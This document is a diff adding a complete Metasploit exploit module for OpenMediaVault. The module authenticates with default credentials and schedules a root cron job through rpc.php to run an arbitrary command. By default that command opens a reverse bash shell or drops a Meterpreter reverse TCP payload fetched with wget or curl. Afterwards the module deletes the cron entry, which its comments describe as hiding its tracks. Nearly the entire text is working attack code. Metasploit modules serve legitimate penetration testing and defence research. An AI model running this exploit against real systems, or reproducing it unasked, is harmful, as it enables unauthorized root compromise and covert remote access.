First release module

modules/exploits/multi/http/openmediavault_auth_cron_rce.rb

@@ -0,0 +1,323 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+  prepend Msf::Exploit::Remote::AutoCheck
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',
+        'Description' => %q{
+          OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
+          An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
+          a cron entry that runs arbitrary commands as root on the system.
+          All OpenMediaVault versions including the latest release 7.3.1-1 are vulnerable.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [
+          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
+          'Brandon Perry <bperry.volatile[at]gmail.com>', # Original Discovery
+          'Mert BENADAM' # exploit author
+        ],
+        'References' => [
+          ['CVE', '2013-3632'],
+          ['PACKETSTORM', '178526'],
+          ['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']
+        ],
+        'DisclosureDate' => '2024-05-08',
+        'Platform' => ['unix', 'linux'],
+        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
+        'Privileged' => true,
+        'Targets' => [
+          [
+            'Unix Command',
+            {
+              'Platform' => ['unix', 'linux'],
+              'Arch' => ARCH_CMD,
+              'Type' => :unix_cmd,
+              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
+            }
+          ],
+          [
+            'Linux Dropper',
+            {
+              'Platform' => ['linux'],
+              'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
+              'Type' => :linux_dropper,
+              'CmdStagerFlavor' => ['wget', 'curl'],
+              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
+            }
+          ]
+        ],
+        'DefaultTarget' => 0,
+        'DefaultOptions' => {
+          'SSL' => false,
+          'RPORT' => 80,
+          'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload
+        },
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
+        }
+      )
+    )
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),
+        OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
+        OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault'])
+      ]
+    )
+  end
+
+  def user
+    datastore['USERNAME']
+  end
+
+  def pass
+    datastore['PASSWORD']
+  end
+
+  def login(user, pass, _opts = {})
+    print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
+      'method' => 'POST',
+      'keep_cookies' => true,
+      'ctype' => 'application/json',
+      'data' => {
+        service: 'Session',
+        method: 'login',
+        params: {
+          username: user.to_s,
+          password: pass.to_s
+        },
+        options: nil
+      }.to_json
+    })
+    return true if res && res.code == 200 && res.body.include?('"authenticated":true')
+
+    false
+  end
+
+  def check_version
+    print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
+      'method' => 'POST',
+      'keep_cookies' => true,
+      'ctype' => 'application/json',
+      'data' => {
+        service: 'System',
+        method: 'getInformation',
+        params: nil,
+        options: {
+          updatelastaccess: false
+        }
+      }.to_json
+    })
+    return nil unless res && res.code == 200 && res.body.include?('"error":null')
+
+    # parse json response and get the version
+    res_json = res.get_json_document
+    unless res_json.blank?
+      # OpenMediaVault v4 has a different json format where index 1 has the version information
+      version = res_json.dig('response', 1, 'value')
+      version = res_json.dig('response', 'version') if version.nil?
+      return version.split('(')[0].gsub(/[[:space:]]/, '') unless version.nil?
+    end
+    nil
+  end
+
+  def apply_config_changes
+    # Apply OpenMediaVault configuration changes
+    return send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
+      'method' => 'POST',
+      'ctype' => 'application/json',
+      'keep_cookies' => true,
+      'data' => {
+        service: 'Config',
+        method: 'applyChangesBg',
+        params: {
+          modules: [],
+          force: false
+        },
+        options: nil
+      }.to_json
+    })
+  end
+
+  def execute_command(cmd, _opts = {})
+    post_data = {}.to_json
+    # depending on the version, adapt the POST request to add a cron payload at the scheduler
+    if Rex::Version.new(@version_number) >= Rex::Version.new('6.0.15-1')
+      # OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']
+      post_data = {
+        service: 'Cron',
+        method: 'set',
+        params: {
+          uuid: 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4',
+          enable: true,
+          execution: 'exactly',
+          minute: ['*'],
+          everynminute: false,
+          hour: ['*'],
+          everynhour: false,
+          dayofmonth: ['*'],
+          everyndayofmonth: false,
+          month: ['*'],
+          dayofweek: ['*'],
+          username: 'root',
+          command: cmd.to_s, # payload
+          sendemail: false,
+          comment: '',
+          type: 'userdefined'
+        },
+        options: nil
+      }.to_json
+    elsif Rex::Version.new(@version_number) <= Rex::Version.new('6.0.14-1') && Rex::Version.new(@version_number) >= Rex::Version.new('3.0.16')
+      # OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'
+      post_data = {
+        service: 'Cron',
+        method: 'set',
+        params: {
+          uuid: 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4',
+          enable: true,
+          execution: 'exactly',
+          minute: '*',
+          everynminute: false,
+          hour: '*',
+          everynhour: false,
+          dayofmonth: '*',
+          everyndayofmonth: false,
+          month: '*',
+          dayofweek: '*',
+          username: 'root',
+          command: cmd.to_s, # payload
+          sendemail: false,
+          comment: '',
+          type: 'userdefined'
+        },
+        options: nil
+      }.to_json
+    elsif Rex::Version.new(@version_number) <= Rex::Version.new('3.0.15') && Rex::Version.new(@version_number) >= Rex::Version.new('1.0.0')
+      # OpenMediaVault v1.0.0 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
+      post_data = {
+        service: 'Cron',
+        method: 'set',
+        params: {
+          uuid: 'undefined',
+          enable: true,
+          execution: 'exactly',
+          minute: '*',
+          everynminute: false,
+          hour: '*',
+          everynhour: false,
+          dayofmonth: '*',
+          everyndayofmonth: false,
+          month: '*',
+          dayofweek: '*',
+          username: 'root',
+          command: cmd.to_s, # payload
+          sendemail: false,
+          comment: '',
+          type: 'userdefined'
+        },
+        options: nil
+      }.to_json
+    end
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
+      'method' => 'POST',
+      'ctype' => 'application/json',
+      'keep_cookies' => true,
+      'data' => post_data
+    })
+    fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless res && res.code == 200 && res.body.include?('"error":null')
+
+    # parse json response and get the uuid of the cron entry
+    # we need this later to clean up and hide our tracks
+    @cron_uuid = ''
+    res_json = res.get_json_document
+    @cron_uuid = res_json['response']['uuid'] unless res_json.blank?
+
+    # Apply and update cron configuration to trigger payload execution (1 minute)
+    res = apply_config_changes
+    fail_with(Failure::Unknown, 'Cannot apply cron changes to trigger payload execution.') unless res && res.code == 200 && res.body.include?('"error":null')
+    print_good('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')
+  end
+
+  def on_new_session(session)
+    # try to cleanup cron entry in OpenMediaVault
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
+      'method' => 'POST',
+      'ctype' => 'application/json',
+      'keep_cookies' => true,
+      'data' => {
+        service: 'Cron',
+        method: 'delete',
+        params: {
+          uuid: @cron_uuid.to_s
+        },
+        options: nil
+      }.to_json
+    })
+    if res && res.code == 200 && res.body.include?('"error":null')
+      # Apply changes and update cron configuration to remove the payload entry
+      res = apply_config_changes
+      if res && res.code == 200 && res.body.include?('"error":null')
+        print_good('Cron payload entry successfully removed.')
+      else
+        print_status('Cannot apply the cron changes to remove the payload entry.')
+      end
+    else
+      print_status('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
+    end
+    super
+  end
+
+  def check
+    return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless login(user, pass)
+
+    @version_number = check_version
+    unless @version_number.nil?
+      if Rex::Version.new(@version_number) <= Rex::Version.new('7.3.1-1') && Rex::Version.new(@version_number) >= Rex::Version.new('1.0.0')
+        return CheckCode::Vulnerable("Version #{@version_number}")
+      else
+        return CheckCode::Safe("Version #{@version_number}")
+      end
+    end
+    CheckCode::Safe('Could not retrieve the version information.')
+  end
+
+  def exploit
+    unless datastore['AutoCheck']
+      if login(user, pass)
+        @version_number = check_version
+        fail_with(Failure::Unknown, 'Could not retrieve the version information.') if @version_number.nil?
+        print_status("Version #{@version_number} detected.")
+      else
+        fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')
+      end
+    end
+
+    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
+    case target['Type']
+    when :unix_cmd
+      execute_command(payload.encoded)
+    when :linux_dropper
+      execute_cmdstager
+    end
+  end
+end